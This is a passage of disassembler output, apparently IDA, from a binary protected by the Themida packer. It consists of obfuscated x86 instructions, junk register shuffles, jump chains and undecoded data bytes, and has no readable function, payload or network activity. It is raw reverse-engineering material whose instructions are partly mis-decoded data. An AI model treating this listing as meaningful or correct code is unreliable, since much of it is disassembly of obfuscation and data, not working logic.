		dd 0F708E2C1h, 0FBEA81D2h, 1798276h, 32E95AD6h,	6800001Ah
		dd 79BCh, 0E9242489h, 0FFFF918Dh, 1ED6E95Ch, 0C483FFFFh
		dd 4C48104h, 0E9000000h, 0FFFF0813h, 405h, 4C08300h, 0FF430FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565E99:				; CODE XREF: Themida_:005663C1j
		add	esp, 2
		push	eax
		mov	al, 6
		sub	al, 0FFh
		dec	al
		push	small 12F7h
		mov	[esp], cx
		mov	ch, 0F3h
		jmp	loc_566904
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 9C3826B8h, 2FF60D21h, 0FE0D1FA7h, 3539853Bh,	3FBF3FFAh
		dd 0E958C229h, 0FFFFA816h
; ---------------------------------------------------------------------------


loc_565ED4:				; CODE XREF: Themida_:0055A2A0j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_562103
; ---------------------------------------------------------------------------


loc_565EE9:				; CODE XREF: Themida_:0056177Fj
		push	ebp
		jmp	loc_559736
; ---------------------------------------------------------------------------


loc_565EEF:				; CODE XREF: Themida_:00561337j
		or	edi, ebp
		pop	ebp
		jmp	loc_5608F1
; ---------------------------------------------------------------------------


loc_565EF7:				; CODE XREF: Themida_:00561399j
		push	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_55F232
; ---------------------------------------------------------------------------
		db 56h
		dd 0FF3C7AE9h, 0E3C581FFh, 81303414h, 4FD915C5h, 0E9EA0159h
		dd 0FFFFAA34h, 0E92434FFh, 31D4h, 4240481h, 8B000000h
		dd 8950242Ch, 405E0h, 73E90000h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F3B:				; CODE XREF: Themida_:00562226j
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5653F1
; ---------------------------------------------------------------------------
		db 89h
		dd 768240Ch, 590F1113h,	6E9C149h, 1C181h, 0EC810000h, 4
		dd 68243C89h, 2673474Fh, 0FF8915E9h, 4C381FFh, 81000000h
		dd 4EBh, 74FF5300h, 8F5B0424h, 0E95C2404h, 158h
; ---------------------------------------------------------------------------


loc_565F88:				; CODE XREF: Themida_:00566811j
		add	ebx, 7DEF04FEh
		sub	ebx, eax
		push	ecx
		mov	ecx, 7FC13F1Bh
		dec	ecx
		not	ecx
		jmp	loc_55E576
; ---------------------------------------------------------------------------


loc_565F9E:				; CODE XREF: Themida_:00564027j
		push	eax
		mov	eax, 2AE76DCDh
		shl	eax, 2
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0EBC148Eh
		add	eax, edi
		pop	edi
		neg	eax
		push	edi
		push	edx
		push	71580706h
		pop	edx
		push	esi
		mov	esi, 4EE16362h
		jmp	loc_5684C4
; ---------------------------------------------------------------------------
		db 0ADh, 5, 0CAh
		dd 54A4159h, 632514B9h,	0B92DD829h, 57632514h, 162668h
		dd 4817E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565FEA:				; CODE XREF: Themida_:00558CDBj
		xchg	edx, esi
		inc	edx
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		push	edx
		mov	edx, 24h
		add	edx, 78E34B48h
		jmp	loc_55C2E5
; ---------------------------------------------------------------------------


loc_566004:				; CODE XREF: Themida_:005655A9j
		pop	esi
		jmp	loc_563C27
; ---------------------------------------------------------------------------


loc_56600A:				; CODE XREF: Themida_:0055E14Fj
		push	esp
		jmp	loc_55893F
; ---------------------------------------------------------------------------


loc_566010:				; CODE XREF: Themida_:0056994Aj
		add	eax, 70766491h
		push	dword ptr [esp]
		jmp	loc_56A6E1
; ---------------------------------------------------------------------------


loc_56601D:				; CODE XREF: Themida_:00561B20j
		pop	edx
		xor	edi, ecx
		pop	ecx
		jmp	loc_562FE4
; ---------------------------------------------------------------------------
aIX60Sqm	db '[ˆÃXµ60ÝéŸM',0
		dw 8100h
		dd 315866F1h, 0A0E9816Fh, 0E9F58F87h, 0FFFFD251h, 241C8B5Ah
		dd 5704C483h, 0A46928BFh, 5FF8016Ah, 0FD57602Dh, 22DFE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56605E:				; CODE XREF: Themida_:00555F56j
		add	ebx, 1
		shl	ebx, 1
		jmp	loc_569E76
; ---------------------------------------------------------------------------
		db 33h
		dd 665C242Ch, 6866E1F7h, 31E90EC7h, 81FFFFFCh, 0BD8604F5h
		dd 8BE82927h, 0C483242Ch, 24048704h, 0FEFE84E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566091:				; CODE XREF: Themida_:0056036Aj
		pop	ecx
		sub	ebx, 69C37DFCh
		shr	ebx, 3
		push	ecx
		mov	ecx, 16767B51h
		jmp	loc_55A55D
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 59EF286Dh, 0E907E7C0h, 0FFFFC4A8h, 39188F05h, 0C1315934h
		dd 0FFCB8958h, 81592434h, 4C4h,	0FBF6E900h, 1431FFFEh
		dd 24143324h, 6624248Bh, 0E9240C8Bh, 1015h, 0E9242C89h
		dd 0FFFFB5B4h
; ---------------------------------------------------------------------------


loc_5660E8:				; CODE XREF: Themida_:00566507j
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	edx
		push	ebp
		jmp	loc_55ACE0
; ---------------------------------------------------------------------------
		dd 8853F6B5h, 8EDDE9EFh, 0EC83FFFFh, 243C8904h,	0F2E9E789h
		dd 5200000Ah, 62E9E289h, 1000019h, 24148BD0h, 4C481h, 0FF500000h
		dd 0E9042474h, 0FFFF6068h, 104C483h, 2C875EF5h,	8B665C24h
		dd 0EC832404h, 241C8904h, 0C381E389h, 4, 31FA6856h, 348B21BBh
		dd 0D9A3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56615E:				; CODE XREF: Themida_:00559930j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	395Eh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_56ACD6
; ---------------------------------------------------------------------------


loc_566186:				; CODE XREF: Themida_:0056A080j
		push	ecx
		jmp	loc_560208
; ---------------------------------------------------------------------------


loc_56618C:				; CODE XREF: Themida_:00568D96j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_55F49D
; ---------------------------------------------------------------------------


loc_5661A3:				; CODE XREF: Themida_:005676D6j
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_568D6D
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 4, 0E959CD01h, 48A2h, 81240489h,	4ECh, 24248900h
		dd 4240481h, 8B000000h,	0C4832404h, 40504h, 0E8830000h
		dd 24048704h, 6824248Bh, 22D4h,	81242489h, 42404h, 48F0000h
		dd 0BBD1E924h, 4BDFFFFh, 81676C0Eh, 0DD0A6BC3h,	81EB014Eh
		dd 0DD0A6BEBh, 0EB295D4Eh, 0E904EC83h, 0FFFF124Bh, 0EB81EB01h
		dd 67CC0835h, 2844BE56h, 0F3296B3Ch, 16EB815Eh,	5D75715Eh
		dd 0FFA7D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566239:				; CODE XREF: Themida_:0056243Dj
		pop	ecx
		neg	ecx
		sub	ecx, 4F5261E0h
		neg	ecx
		jmp	loc_562804
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 0FF3013E9h, 29C581FFh, 5857BF0Eh,	673EEF81h, 0EF2936DFh
		dd 0FFCBEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566269:				; CODE XREF: Themida_:0055F171j
		shl	ecx, 5
		neg	ecx
		not	ecx
		push	eax
		mov	eax, 46C21AA9h
		jmp	loc_561B3A
; ---------------------------------------------------------------------------
		db 29h
		dd 895859CFh, 6F295FFDh, 6D20E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56628A:				; CODE XREF: Themida_:0056000Bj
		push	edi
		mov	edi, esp
		jmp	loc_559C96
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 3868240Ch, 89000017h, 68512424h, 4, 244C0159h, 0CCFEE904h
		dd 34FFFFFFh, 0C4815924h, 4, 5D27DF05h
		db 74h,	53h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 300836B5h
		xor	ecx, 115547EDh
		and	ecx, 4164131Ch
		push	ecx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	ecx
		shr	ecx, 8
		sub	ecx, 0FEBBEAh
		sub	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7FB4107h
		or	edi, 421124ECh
		inc	edi
		add	edi, 1CC3274Ch
		add	edi, 18AE4308h
		xor	edi, 1BFEC6ACh
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edx
		not	dword ptr [esp]
		pop	edx
		shl	edx, 2
		inc	edx
		add	edx, 5C3F6EAh
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_561C4C
; ---------------------------------------------------------------------------
		dd 0FE0021BEh, 2EEC102h, 5EC9EE81h, 0C6816CDCh,	0BD974DA8h
		dd 815EF529h, 7668FBEDh, 0C121E971h, 0C89FFFFh,	4668E924h
		dd 0C890000h, 3F9EB924h, 0F7493C63h, 9FF181D1h,	812B9B2Dh
		dd 0D1262AE9h, 5FF1811Eh, 550E006Ch, 0FF5B2EE9h, 81D9F7FFh
		dd 0DD1E5BE9h, 84E95117h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56639F:				; CODE XREF: Themida_:00564DD4j
		push	ecx
		mov	cx, 1CE4h
		jmp	loc_56A537
; ---------------------------------------------------------------------------


loc_5663A9:				; CODE XREF: Themida_:005615CFj
		pop	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_55B2A6
; ---------------------------------------------------------------------------


loc_5663B5:				; CODE XREF: Themida_:0056913Bj
		xor	dh, 0E4h
		xor	dh, 30h
		xor	al, dh
		mov	dx, [esp]
		jmp	loc_565E99
; ---------------------------------------------------------------------------
		dw 13BFh
		dd 0C132CC7Ah, 0EF8105EFh, 0DE23430Ch, 0FF6AE956h, 0E3C1FFFFh
		dd 0C1BCE907h, 505DFFFFh, 0E92414F7h, 0FFFF032Dh, 31241433h
		dd 90E92414h, 88000042h, 8B585BFAh, 0C483240Ch,	4EC8304h
		dd 0B6241489h, 410DE9DFh, 4DB90000h, 8141EF53h,	0F956A9C9h
		dd 0D9E98101h, 8119D33Fh, 0E82FA3F1h, 4DC1813Bh, 81EC3BC8h
		dd 0C34A4EEBh, 285E97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566436:				; CODE XREF: Themida_:0056072Ej
		add	ecx, 5E605F2h
		add	ecx, esi
		jmp	loc_55B809
; ---------------------------------------------------------------------------


loc_566443:				; CODE XREF: Themida_:00561030j
		add	ebp, esi
		pop	esi
		jmp	loc_559DB0
; ---------------------------------------------------------------------------
		db 1
		dd 1C335DEBh, 241C3124h, 0FFAE19E9h, 4B850FFh, 1000000h
		dd 2C8758C5h, 0FEE95C24h, 1FFFFBCh, 0C1815DE9h,	4, 5C240C87h
		dd 0C1FED1F6h, 0B8B75366h, 86E9F930h, 59FFFF3Ch, 535FF929h
		dd 4A96BF57h, 66E90F16h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566497:				; CODE XREF: Themida_:0055FDF0j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55F209
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 58042474h, 5C24048Fh, 149BBA52h, 0F8E93BAEh
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5664B7:				; CODE XREF: Themida_:00560C88j
		xor	ecx, 423B077Bh
		xor	ecx, 581F376Ah
		jmp	loc_5596F0
; ---------------------------------------------------------------------------
		dd 9551E959h, 0E94FFFFFh, 0FFFF69A8h, 7C8E68h, 24148900h
		dd 0FFBF88E9h, 3EEA81FFh, 29396317h, 0D537E9D0h, 3C87FFFFh
		dd 0C895C24h, 513EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5664FA:				; CODE XREF: Themida_:0056272Aj
		pop	esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5660E8
; ---------------------------------------------------------------------------


loc_56650C:				; CODE XREF: Themida_:00561608j
		pop	ebp
		push	ebx
		add	dword ptr [esp], 1C1F7773h
		pop	edx
		sub	edx, 1C1F7773h
		mov	ebx, [esp]
		add	esp, 4
		pop	eax
		push	eax
		jmp	loc_561FB4
; ---------------------------------------------------------------------------
aZhy		db 'ZhY\',0
		align 2
		dw 3C89h
		dd 579FBF24h, 0E78117C0h, 3F457737h, 0FE31F731h, 0FF73D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566549:				; CODE XREF: Themida_:00567877j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_557217
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 241C8700h, 0E930FF5Ch,	0FFFF3266h
; ---------------------------------------------------------------------------


loc_56656C:				; CODE XREF: Themida_:00564497j
		sub	bl, dl
		push	eax
		jmp	loc_55711A
; ---------------------------------------------------------------------------
		dd 5AD78859h, 0E9FA0858h, 0FFFF6D87h, 294BCD81h, 0B3E96300h
		dd 5BFFFF44h, 875AD029h, 248B2404h, 242C8924h, 0FF1EB3E9h
		dd 56E605FFh, 0C4E944FEh, 0F7FFFF60h, 0AEBF57D9h, 210A7934h
		dd 6290E9F9h, 188FFFFh,	592434FFh, 4C481h, 0FDE90000h
		db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5665C7:				; CODE XREF: Themida_:005696AEj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	1309h
		mov	[esp], ecx
		jmp	loc_560017
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_556F59
; ---------------------------------------------------------------------------
		dd 55ABC581h, 0D50166DFh, 53B95156h, 8969234Bh,	0CE8759CEh
		dd 0FF54C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5665FD:				; CODE XREF: Themida_:0055A5A2j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_561E9B
; ---------------------------------------------------------------------------


loc_566606:				; CODE XREF: Themida_:0055A3FAj
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		pop	dword ptr [edi+20h]
		push	ebx
		jmp	loc_55745C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E924048Bh, 0FFFF3547h, 3166C681h, 0DEE92136h, 59FFFF79h
		dd 111AEF81h, 0F7013E4Dh, 111AC781h, 0D5E93E4Dh
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566647:				; CODE XREF: Themida_:00558ED8j
		mov	esi, [esp]
		jmp	loc_56467A
; ---------------------------------------------------------------------------
		db 50h
		dd 6B8E9h, 0A7F18100h, 316B17C7h, 2434FFCDh, 4C48159h
		dd 29000000h, 0E055DE8h, 1701679h, 790E2DD8h, 0D0057016h
		dd 6864596Eh, 1313h, 0E9241C89h, 0FFFF83F2h, 81DFF758h
		dd 240C1DEFh, 3CCAE910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566696:				; CODE XREF: Themida_:0055DEF0j
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		jmp	loc_565160
; ---------------------------------------------------------------------------
		db 5Ch,	87h, 1Ch
		dd 24248B24h, 24048B66h, 0FE95650h, 1FFFF5Eh, 4EC381CBh
		dd 597FC34Ah, 211668h, 24348900h, 268h,	91E95E00h, 3100002Bh
		dd 65E95AD0h, 0C0FFFF68h, 0EC8103EFh, 2, 4A20E9h, 0C1815900h
		dd 4, 8704E983h, 60E9240Ch
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5666FF:				; CODE XREF: Themida_:00556951j
		push	ebp
		jmp	loc_55B1BA
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 815C2434h, 0A7818E6h, 0AEE95068h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56671B:				; CODE XREF: Themida_:005617A3j
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	eax, 672238A0h
		push	4552h
		mov	[esp], edi
		push	esi
		mov	esi, 8000h
		push	esi
		mov	edi, [esp]
		add	esp, 4
		mov	esi, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		push	ebp
		push	edx
		push	46E01311h
		pop	edx
		push	edi
		mov	edi, 1C493DE8h
		push	edx
		mov	edx, 93E37B6h
		shl	edx, 1
		or	edx, 178D4E28h
		jmp	loc_557275
; ---------------------------------------------------------------------------
		dd 8245C01h, 8246C81h, 4A3B3B23h, 5D685E5Bh, 89000004h
		dd 0DCBE2434h, 295D774Ah, 8B042474h, 0C4832434h, 24048104h
		dd 20F4D96h, 55240401h,	0F4D96BDh, 246C2902h, 4815D04h
		dd 774ADC24h, 242C815Dh, 60A40368h, 0FEF4FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5667C9:				; CODE XREF: Themida_:005615AAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5686DB
; ---------------------------------------------------------------------------


loc_5667F2:				; CODE XREF: Themida_:005596F6j
		push	eax
		mov	eax, 8524410h
		push	esi
		mov	esi, 83B3F7Bh
		sub	eax, esi
		pop	esi
		xor	eax, 4A2534EFh
		xor	eax, 4A32307Eh
		add	ebx, 1B17E2Ch
		jmp	loc_565F88
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0FFFFFFFFh, 3FE9C181h, 687B31h, 0E9000000h, 0FFFF9D5Ch
		dd 4C581h, 0ED810000h, 4, 5C242C87h, 0B9240C89h, 49D21E8Ah
		dd 434868h, 24348900h, 7B8FE952h, 684EFFFFh, 4EBDh, 55240C89h
		dd 22542A68h, 0F5815D1Fh, 12A67887h, 0FF3EDBE9h, 70C381FFh
		dd 815B0057h, 6E7C48E3h, 0CEB8127h, 56038D0Fh, 1A2DBB53h
		dd 1AE923F8h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56688B:				; CODE XREF: Themida_:00557700j
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		mov	edi, ebx
		pop	ebx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0B9C0ECAh
		mov	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, 4EF85ED9h
		and	ebp, 6BFE69C7h
		neg	ebp
		sub	ebp, 383B65A0h
		or	ecx, ebp
		jmp	loc_55610A
; ---------------------------------------------------------------------------


loc_5668C4:				; CODE XREF: Themida_:00560099j
		mov	edx, 6D1C649Dh
		xor	edx, 42372503h
		inc	edx
		neg	edx
		xor	edx, 9907EC2Ah
		jmp	loc_55E3FC
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0C0h
		dd 87153F66h, 87D6F7F5h, 58F581F5h, 0C11C4E7Eh,	0C58104E5h
		dd 46FF54D3h, 8681ED81h, 0E953725Fh, 16Ch
; ---------------------------------------------------------------------------


loc_566904:				; CODE XREF: Themida_:00565EB0j
		xor	al, ch
		pop	cx
		push	ecx
		push	ebx
		mov	bl, 52h
		mov	ch, bl
		pop	ebx
		sub	al, ch
		jmp	loc_566D1D
; ---------------------------------------------------------------------------
		dw 0A9E9h
		dd 0C1FFFEF3h, 0EFC103E7h, 26E78106h, 8113B250h, 321024F7h
		dd 0E9FE0101h, 0FFFFF47Fh
; ---------------------------------------------------------------------------


loc_566934:				; CODE XREF: Themida_:00564A0Cj
		pop	esp
		mov	[esp], edx
		jmp	loc_566B23
; ---------------------------------------------------------------------------
		db 68h,	83h, 7Eh
		dd 24890000h, 598D6824h, 4890000h, 4B824h, 44010000h, 8B580424h
		dd 0C4812414h, 4, 5D05BE56h, 0EEE9331Ah
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56696B:				; CODE XREF: Themida_:00558E8Dj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55657F
; ---------------------------------------------------------------------------
		dd 0F4CB951h, 0F1812489h, 3B005AC4h, 4E1C141h, 0FFDD5BE9h
		dd 0D9295FFFh, 6E1C15Bh, 0F785E981h, 0CA29499Ch, 0EC835E59h
		dd 24048904h, 0D26E38B8h, 75E5254Ah, 0C6E93C49h, 81FFFF9Bh
		dd 0E81C67C1h, 58E98124h, 5B61237Fh, 1434E9h, 99B95100h
		dd 3159C71Bh, 0CB8159CBh, 40592B59h, 0C381D3F7h, 1, 8403EB81h
		dd 0C1819E80h, 0AB83776h, 0E981D901h, 0AB83776h, 81241C8Bh
		dd 4C4h, 4C18300h, 0E9240C87h, 0FFFF0172h
; ---------------------------------------------------------------------------


loc_566A08:				; CODE XREF: Themida_:00563215j
		shr	esi, 3
		push	5424h
		mov	[esp], edx
		mov	edx, 48824698h
		jmp	loc_560B6B
; ---------------------------------------------------------------------------


loc_566A1D:				; CODE XREF: Themida_:0055ADF3j
		mov	dx, [esp]
		add	esp, 2
		shl	dl, 2
		jmp	loc_55A058
; ---------------------------------------------------------------------------
		db 66h
		dd 0A5CE952h, 0C142FFFFh, 0C28102EAh, 3E1B0C38h, 32EBEA81h
		dd 0F28129D2h, 58AA7E2Fh, 691AC781h, 0D7294310h, 691AEF81h
		dd 0CAE94310h, 81FFFF15h, 4C4h,	4C28300h, 0E9241487h, 0FFFFF408h
		dd 1235E957h, 49E9FFFFh, 66FFFEF2h, 68240C8Bh, 1E2Ch, 89241C89h
		dd 4EC81E3h, 89000000h,	0BB532404h, 4, 565BD889h, 397B68h
		dd 0A1D4E900h, 0C483FFFFh, 0ACC28104h, 1404E18h, 0ACEA81C2h
		dd 50404E18h, 0FEF449E9h, 241CF6FFh, 0F1FEE99Ch, 0C89FFFEh
		dd 53595424h, 0A94B62BBh, 0F2E94B38h, 1FFFFFEh,	3ABF57F8h
		dd 292C3647h, 0C6E95FF8h, 80FFFF0Dh, 0EE80F5F6h, 58B753FFh
		dd 505BFE30h, 47E9FBB4h, 8BFFFFB9h, 6853243Ch, 5BE0h, 0FFC654E9h
		dd 0FF2D5DFFh, 25FFFFFFh, 16F75AD2h, 241CF750h,	0E9F02D58h
		dd 0A1E9ED08h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566B23:				; CODE XREF: Themida_:00566938j
		mov	edx, esp
		jmp	loc_563EB3
; ---------------------------------------------------------------------------


loc_566B2A:				; CODE XREF: Themida_:0055932Ej
		shr	eax, 18h
		xor	eax, ecx
		push	4406h
		mov	[esp], eax
		jmp	loc_560B61
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704C183h, 535C240Ch,	22332CBBh, 0F48AE97Dh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566B56:				; CODE XREF: Themida_:0056459Bj
		inc	ebx
		push	eax
		mov	eax, 18F95EE9h
		or	ebx, eax
		pop	eax
		inc	ebx
		sub	ebx, 84DF65BCh
		add	ecx, ebx
		jmp	loc_55BA92
; ---------------------------------------------------------------------------


loc_566B6E:				; CODE XREF: Themida_:00569B1Dj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_563DD5
; ---------------------------------------------------------------------------
		db 59h,	40h, 48h
		dd 210DBF57h, 0EC0558A1h, 1448C63h, 63EC2DF8h, 2D5F448Ch
		dd 1F1941DFh, 8158C629h, 536FEAEEh, 0DD03E953h,	8F59FFFFh
		dd 248B2404h, 1A44E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566BAE:				; CODE XREF: Themida_:0055BA62j
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_55798D
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 242C811Ch, 19BF70C4h, 0B8505658h, 5A01E9Fh, 5D0F748h
		dd 636345Fh, 8358C689h,	0D6F701EEh, 54F68146h, 8124197Dh
		dd 24B08E6h, 0D2B95156h, 68269371h, 53E9h, 0BF243C89h
		dd 27705C18h, 739FBE56h, 0F721268Eh, 0FF5BACE9h, 76855FFh
		dd 0E9000005h, 0FFFEF71Ch, 6804C483h, 5C02h, 0BA241489h
		dd 20E6B14h, 4E8EC281h,	0D2F7659Eh, 45C1CA81h, 0C2813F97h
		dd 8E44F62Fh, 95E9D109h
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566C3F:				; CODE XREF: Themida_:00568D5Dj
		pop	edi
		dec	ebp
		shl	ebp, 3
		push	4C14h
		jmp	loc_56ADB3
; ---------------------------------------------------------------------------
		dw 6268h
		dd 0E9000006h, 0FFFFCBD4h, 95CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566C5E:				; CODE XREF: Themida_:00559E27j
		add	dword ptr [esp+4], 57844EDh
		push	ecx
		mov	ecx, 10A0718Dh
		add	[esp+8], ecx
		pop	ecx
		add	dword ptr [esp+4], 25C128FBh
		add	dword ptr [esp+4], 4A2A1B4Eh
		add	[esp+4], esi
		sub	dword ptr [esp+4], 4A2A1B4Eh
		push	eax
		push	edx
		mov	edx, 492D7CB7h
		mov	eax, 0DC93AC44h
		jmp	loc_568385
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	7EE904ECh, 57FFFF83h, 0FEFD1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566CB5:				; CODE XREF: Themida_:0056223Cj
		sub	ebp, 4
		jmp	loc_560FED
; ---------------------------------------------------------------------------
		dd 5A66F328h, 92EB805Ah, 0C380C300h, 56B55192h,	5359EB00h
		dd 4EC8355h, 0B8240489h, 560E636Eh, 60B2A8BDh, 58C501F1h
		dd 75E581h, 57451E48h, 0EEABB2BFh, 5FFD29D6h, 2C8BEB89h
		dd 4C48324h, 68D3F74Bh,	411Ah, 0FFE742E9h, 2EB3B8FFh, 9CE96638h
		dd 5EFFFEF8h, 0FF6A82E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566D1D:				; CODE XREF: Themida_:00566911j
		pop	ecx
		add	bl, 0B9h
		push	ax
		jmp	loc_569796
; ---------------------------------------------------------------------------
		dd 32768h, 240C8900h, 8904EC83h, 5682414h, 8B208071h, 0C4812414h
		dd 4, 0EE9CA81h, 2E900AAh, 89FFFFAEh, 5CE9240Ch, 45000032h
		dd 239E9h, 0A7B45000h, 0FF6089E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566D65:				; CODE XREF: Themida_:0056103Fj
		push	ecx
		jmp	loc_5683D8
; ---------------------------------------------------------------------------
		db 5Fh
		dd 9501E953h, 8956FFFFh, 4C681E6h, 83000000h, 348704C6h
		dd 2C335C24h, 6810E924h, 0BB53FFFFh, 4,	565BDE01h, 0FF7AA7E9h
		dd 0F75558FFh, 815D2414h, 268EEAC5h, 0C1D5F78Bh, 376803E5h
		dd 89000032h, 0BD552414h, 34FF0789h, 0AFF5814Dh, 89080536h
		dd 59BAE9EAh, 0EC81FFFFh, 4, 0BE243489h, 0
		dd 71568h, 240C8900h, 2BB4E9h, 404C6800h, 14890000h, 0C091B624h
		dd 0CEFE06EEh, 0C0E5CE80h, 0E6C005E6h, 34C68005h, 305AF588h
		dd 61E95AF5h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566E07:				; CODE XREF: Themida_:00569AB2j
		or	eax, eax
		jz	loc_556585
		push	eax
		push	516Eh
		mov	[esp], edi
		jmp	loc_55FB9B
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 59h
		dd 8904EC83h, 0F7B9240Ch, 141DF29h, 2C8B59CEh, 4C48124h
		dd 87000000h, 248B2434h, 0CFF6624h, 7DE99C24h, 81FFFEEEh
		dd 0A40DC6C6h, 81FE2941h, 0A40DC6EEh, 34875F41h, 24895C24h
		dd 24048124h, 4, 4BA525Eh, 1000000h, 0EE815AD6h, 4, 31243433h
		dd 34332434h, 0AEBBE924h, 815FFFFFh, 4C7h, 4EF8300h, 22F4E9h
		dd 18F1BF00h, 0E95E54h,	52FFFF81h, 5A2414F7h, 0A5EEF281h
		dd 0EF819BBAh, 6CE012Ah, 0CE9D729h, 58FFFF05h, 1BD55h
		dd 0EF010000h, 1D93E95Dh, 0C581FFFFh, 7DBC5369h, 0D7E9575Bh
		dd 81FFFFDAh, 0C05B9DEAh, 9900E925h, 0CD01FFFFh, 0FFAF8AE9h
		dd 2414F7FFh, 16B95158h, 3120A313h, 0FC87E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566EF2:				; CODE XREF: Themida_:00564AC3j
		add	esp, 4
		shl	esi, 8
		sub	esi, 971F39FCh
		push	ecx
		mov	ecx, 93744C7h
		add	eax, ecx
		jmp	loc_556F24
; ---------------------------------------------------------------------------


loc_566F0E:				; CODE XREF: Themida_:0056A4C3j
